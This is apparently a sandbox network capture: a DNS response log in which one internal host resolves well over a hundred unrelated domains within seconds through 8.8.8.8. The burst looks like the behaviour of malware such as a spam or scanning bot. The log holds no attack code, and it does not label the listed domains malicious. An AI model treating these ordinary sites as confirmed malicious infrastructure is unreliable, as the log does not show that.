May 31, 2023 14:51:30.474216938 CEST	8.8.8.8	192.168.2.3	0x6a7	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.496613026 CEST	8.8.8.8	192.168.2.3	0xc144	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.504070997 CEST	8.8.8.8	192.168.2.3	0x9bf1	Server failure (2)	awal.ws	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.585505962 CEST	8.8.8.8	192.168.2.3	0x5135	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.586846113 CEST	8.8.8.8	192.168.2.3	0xdc26	No error (0)	nrsi.com		76.223.35.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.603759050 CEST	8.8.8.8	192.168.2.3	0x4451	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.613101959 CEST	8.8.8.8	192.168.2.3	0x2022	No error (0)	amele.com		85.159.66.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.731161118 CEST	8.8.8.8	192.168.2.3	0x746a	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.738821983 CEST	8.8.8.8	192.168.2.3	0xa33d	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.814730883 CEST	8.8.8.8	192.168.2.3	0x50df	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.814730883 CEST	8.8.8.8	192.168.2.3	0x50df	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.814730883 CEST	8.8.8.8	192.168.2.3	0x50df	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.814730883 CEST	8.8.8.8	192.168.2.3	0x50df	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.901351929 CEST	8.8.8.8	192.168.2.3	0x3917	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.919409990 CEST	8.8.8.8	192.168.2.3	0x5bd3	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.937258005 CEST	8.8.8.8	192.168.2.3	0xe15a	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.937421083 CEST	8.8.8.8	192.168.2.3	0x396d	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.938570976 CEST	8.8.8.8	192.168.2.3	0xd667	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.993947983 CEST	8.8.8.8	192.168.2.3	0x3d31	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.071795940 CEST	8.8.8.8	192.168.2.3	0xdc49	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.084213018 CEST	8.8.8.8	192.168.2.3	0x2e08	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.097315073 CEST	8.8.8.8	192.168.2.3	0x55d2	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.232300043 CEST	8.8.8.8	192.168.2.3	0xaaec	Server failure (2)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.236680984 CEST	8.8.8.8	192.168.2.3	0x6cef	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.256450891 CEST	8.8.8.8	192.168.2.3	0xca34	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.266280890 CEST	8.8.8.8	192.168.2.3	0xf385	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.386394978 CEST	8.8.8.8	192.168.2.3	0xe15a	Server failure (2)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.433533907 CEST	8.8.8.8	192.168.2.3	0xa45	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.445957899 CEST	8.8.8.8	192.168.2.3	0x6f4f	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.618989944 CEST	8.8.8.8	192.168.2.3	0x1b0b	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.644190073 CEST	8.8.8.8	192.168.2.3	0x7add	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.695894003 CEST	8.8.8.8	192.168.2.3	0x6c82	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.725610971 CEST	8.8.8.8	192.168.2.3	0xf3e5	No error (0)	envogen.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.725610971 CEST	8.8.8.8	192.168.2.3	0xf3e5	No error (0)	envogen.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.766546011 CEST	8.8.8.8	192.168.2.3	0xc573	No error (0)	nlcv.bas.bg		195.96.252.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.783756018 CEST	8.8.8.8	192.168.2.3	0xf389	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.813791037 CEST	8.8.8.8	192.168.2.3	0x242	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:31.813791037 CEST	8.8.8.8	192.168.2.3	0x242	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.818182945 CEST	8.8.8.8	192.168.2.3	0x90dc	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.941032887 CEST	8.8.8.8	192.168.2.3	0x5e1f	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.950725079 CEST	8.8.8.8	192.168.2.3	0x44d8	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.950725079 CEST	8.8.8.8	192.168.2.3	0x44d8	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.964595079 CEST	8.8.8.8	192.168.2.3	0x6f5b	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.998656034 CEST	8.8.8.8	192.168.2.3	0x8761	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.998656034 CEST	8.8.8.8	192.168.2.3	0x8761	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.998656034 CEST	8.8.8.8	192.168.2.3	0x8761	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:31.998656034 CEST	8.8.8.8	192.168.2.3	0x8761	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.034918070 CEST	8.8.8.8	192.168.2.3	0xb499	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.049278021 CEST	8.8.8.8	192.168.2.3	0x1d0d	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.059875965 CEST	8.8.8.8	192.168.2.3	0xcb3c	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.103029966 CEST	8.8.8.8	192.168.2.3	0x248b	No error (0)	sigtoa.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.103029966 CEST	8.8.8.8	192.168.2.3	0x248b	No error (0)	sigtoa.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.151557922 CEST	8.8.8.8	192.168.2.3	0x396d	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.166456938 CEST	8.8.8.8	192.168.2.3	0xca7d	No error (0)	shiner.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.166456938 CEST	8.8.8.8	192.168.2.3	0xca7d	No error (0)	shiner.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.216991901 CEST	8.8.8.8	192.168.2.3	0x4fdc	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.266199112 CEST	8.8.8.8	192.168.2.3	0x2cbb	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.290903091 CEST	8.8.8.8	192.168.2.3	0x6fe0	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.328860998 CEST	8.8.8.8	192.168.2.3	0x5ed8	No error (0)	kallman.net		185.76.64.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.383997917 CEST	8.8.8.8	192.168.2.3	0xcac1	No error (0)	keio-web.com		219.94.128.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.390809059 CEST	8.8.8.8	192.168.2.3	0x4cd	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.408041000 CEST	8.8.8.8	192.168.2.3	0xe15a	Server failure (2)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.437213898 CEST	8.8.8.8	192.168.2.3	0x4177	No error (0)	adeesa.net		104.21.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.437213898 CEST	8.8.8.8	192.168.2.3	0x4177	No error (0)	adeesa.net		172.67.209.11	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.478946924 CEST	8.8.8.8	192.168.2.3	0xf5e0	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.631455898 CEST	8.8.8.8	192.168.2.3	0x657d	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.638926029 CEST	8.8.8.8	192.168.2.3	0xbdeb	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.699707985 CEST	8.8.8.8	192.168.2.3	0x8b45	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.699707985 CEST	8.8.8.8	192.168.2.3	0x8b45	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.730518103 CEST	8.8.8.8	192.168.2.3	0xf7b2	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.759377956 CEST	8.8.8.8	192.168.2.3	0xf7d7	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.797077894 CEST	8.8.8.8	192.168.2.3	0xeedd	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.797077894 CEST	8.8.8.8	192.168.2.3	0xeedd	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.806407928 CEST	8.8.8.8	192.168.2.3	0x6b99	No error (0)	peminet.net		198.54.117.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.808747053 CEST	8.8.8.8	192.168.2.3	0x9630	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.820180893 CEST	8.8.8.8	192.168.2.3	0xa88a	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.858391047 CEST	8.8.8.8	192.168.2.3	0x16cd	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.858391047 CEST	8.8.8.8	192.168.2.3	0x16cd	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.939910889 CEST	8.8.8.8	192.168.2.3	0xda02	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.959042072 CEST	8.8.8.8	192.168.2.3	0xc1c6	No error (0)	rkengg.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:32.959042072 CEST	8.8.8.8	192.168.2.3	0xc1c6	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:32.959042072 CEST	8.8.8.8	192.168.2.3	0xc1c6	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.959042072 CEST	8.8.8.8	192.168.2.3	0xc1c6	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.964231968 CEST	8.8.8.8	192.168.2.3	0x1a4b	No error (0)	hyab.se		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.964231968 CEST	8.8.8.8	192.168.2.3	0x1a4b	No error (0)	hyab.se		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:32.966636896 CEST	8.8.8.8	192.168.2.3	0x1dd3	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.081377983 CEST	8.8.8.8	192.168.2.3	0x4c7f	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.121906996 CEST	8.8.8.8	192.168.2.3	0xd67	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.128113031 CEST	8.8.8.8	192.168.2.3	0xe421	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.169595003 CEST	8.8.8.8	192.168.2.3	0xf2c3	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.169595003 CEST	8.8.8.8	192.168.2.3	0xf2c3	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.169595003 CEST	8.8.8.8	192.168.2.3	0xf2c3	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.192780018 CEST	8.8.8.8	192.168.2.3	0x3c59	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.267947912 CEST	8.8.8.8	192.168.2.3	0x1559	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.271063089 CEST	8.8.8.8	192.168.2.3	0xc96e	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.401720047 CEST	8.8.8.8	192.168.2.3	0x28b5	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.401720047 CEST	8.8.8.8	192.168.2.3	0x28b5	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.401720047 CEST	8.8.8.8	192.168.2.3	0x28b5	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.429033041 CEST	8.8.8.8	192.168.2.3	0x35f6	No error (0)	usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.519220114 CEST	8.8.8.8	192.168.2.3	0x70ad	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.602751970 CEST	8.8.8.8	192.168.2.3	0xf1cd	No error (0)	mondopp.net		173.231.184.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.627774000 CEST	8.8.8.8	192.168.2.3	0xcb3c	Server failure (2)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.761921883 CEST	8.8.8.8	192.168.2.3	0x4d26	No error (0)	dspears.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:33.761921883 CEST	8.8.8.8	192.168.2.3	0x4d26	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:33.761921883 CEST	8.8.8.8	192.168.2.3	0x4d26	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.761921883 CEST	8.8.8.8	192.168.2.3	0x4d26	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.847161055 CEST	8.8.8.8	192.168.2.3	0x3c25	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.847161055 CEST	8.8.8.8	192.168.2.3	0x3c25	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.847161055 CEST	8.8.8.8	192.168.2.3	0x3c25	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.847161055 CEST	8.8.8.8	192.168.2.3	0x3c25	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.950079918 CEST	8.8.8.8	192.168.2.3	0x8ae0	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:33.965696096 CEST	8.8.8.8	192.168.2.3	0xca1c	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.065795898 CEST	8.8.8.8	192.168.2.3	0x2e3f	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.307638884 CEST	8.8.8.8	192.168.2.3	0x15b4	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.327425003 CEST	8.8.8.8	192.168.2.3	0x8d95	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.350899935 CEST	8.8.8.8	192.168.2.3	0x70e4	No error (0)	gphpedit.org		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.385746956 CEST	8.8.8.8	192.168.2.3	0xee81	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.421361923 CEST	8.8.8.8	192.168.2.3	0x86ca	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.465491056 CEST	8.8.8.8	192.168.2.3	0x5084	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.465491056 CEST	8.8.8.8	192.168.2.3	0x5084	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.465491056 CEST	8.8.8.8	192.168.2.3	0x5084	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.616410971 CEST	8.8.8.8	192.168.2.3	0x5bbd	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.637805939 CEST	8.8.8.8	192.168.2.3	0xcefa	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.643820047 CEST	8.8.8.8	192.168.2.3	0xa087	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.669898033 CEST	8.8.8.8	192.168.2.3	0x306d	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.685683966 CEST	8.8.8.8	192.168.2.3	0xf86c	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.685683966 CEST	8.8.8.8	192.168.2.3	0xf86c	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.685683966 CEST	8.8.8.8	192.168.2.3	0xf86c	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.685683966 CEST	8.8.8.8	192.168.2.3	0xf86c	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:34.909326077 CEST	8.8.8.8	192.168.2.3	0x4e32	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.123841047 CEST	8.8.8.8	192.168.2.3	0x81e4	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.148962021 CEST	8.8.8.8	192.168.2.3	0x48da	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.301898003 CEST	8.8.8.8	192.168.2.3	0xbe79	No error (0)	amic.at		78.46.224.133	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.462738037 CEST	8.8.8.8	192.168.2.3	0xf497	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.477328062 CEST	8.8.8.8	192.168.2.3	0xe8a4	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.728127956 CEST	8.8.8.8	192.168.2.3	0x3b36	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.728127956 CEST	8.8.8.8	192.168.2.3	0x3b36	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.728127956 CEST	8.8.8.8	192.168.2.3	0x3b36	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:35.728127956 CEST	8.8.8.8	192.168.2.3	0x3b36	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:36.122215986 CEST	8.8.8.8	192.168.2.3	0xce4c	No error (0)	from30ty.com		157.7.231.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:36.207323074 CEST	8.8.8.8	192.168.2.3	0xe190	No error (0)	portoccd.org		51.89.6.56	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.188091040 CEST	8.8.8.8	192.168.2.3	0xeeaa	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.188091040 CEST	8.8.8.8	192.168.2.3	0xeeaa	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.193109989 CEST	8.8.8.8	192.168.2.3	0xb00e	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.193109989 CEST	8.8.8.8	192.168.2.3	0xb00e	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.295783997 CEST	8.8.8.8	192.168.2.3	0xc4e0	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:37.453881025 CEST	8.8.8.8	192.168.2.3	0x3e73	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.287065029 CEST	8.8.8.8	192.168.2.3	0xf0a	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.515913963 CEST	8.8.8.8	192.168.2.3	0x7772	No error (0)	arowines.com		75.2.18.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.535851002 CEST	8.8.8.8	192.168.2.3	0xb2c1	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.549524069 CEST	8.8.8.8	192.168.2.3	0x9ec7	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.551981926 CEST	8.8.8.8	192.168.2.3	0x94c8	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.590728998 CEST	8.8.8.8	192.168.2.3	0xd22b	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:38.723897934 CEST	8.8.8.8	192.168.2.3	0xf58f	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.240077019 CEST	8.8.8.8	192.168.2.3	0xe681	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.272066116 CEST	8.8.8.8	192.168.2.3	0x45d0	No error (0)	webways.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.272066116 CEST	8.8.8.8	192.168.2.3	0x45d0	No error (0)	webways.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.416081905 CEST	8.8.8.8	192.168.2.3	0xb0c1	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.448087931 CEST	8.8.8.8	192.168.2.3	0xb6e5	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.448087931 CEST	8.8.8.8	192.168.2.3	0xb6e5	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.537297964 CEST	8.8.8.8	192.168.2.3	0x743e	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.638866901 CEST	8.8.8.8	192.168.2.3	0x6d02	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.659446001 CEST	8.8.8.8	192.168.2.3	0x56d6	No error (0)	k-nikko.com		18.177.67.59	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.688997984 CEST	8.8.8.8	192.168.2.3	0x2165	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:39.769224882 CEST	8.8.8.8	192.168.2.3	0xb6aa	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.027816057 CEST	8.8.8.8	192.168.2.3	0x6e13	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.027816057 CEST	8.8.8.8	192.168.2.3	0x6e13	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.027816057 CEST	8.8.8.8	192.168.2.3	0x6e13	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.027816057 CEST	8.8.8.8	192.168.2.3	0x6e13	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.563180923 CEST	8.8.8.8	192.168.2.3	0xc734	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.967077017 CEST	8.8.8.8	192.168.2.3	0x68d	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:40.967077017 CEST	8.8.8.8	192.168.2.3	0x68d	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:41.198637009 CEST	8.8.8.8	192.168.2.3	0x5466	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:41.451509953 CEST	8.8.8.8	192.168.2.3	0xc7ab	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:41.685599089 CEST	8.8.8.8	192.168.2.3	0x98ab	No error (0)	sanfotek.net		216.69.141.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:41.953658104 CEST	8.8.8.8	192.168.2.3	0xdb88	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:42.468157053 CEST	8.8.8.8	192.168.2.3	0x55a7	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:42.695311069 CEST	8.8.8.8	192.168.2.3	0xb11a	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
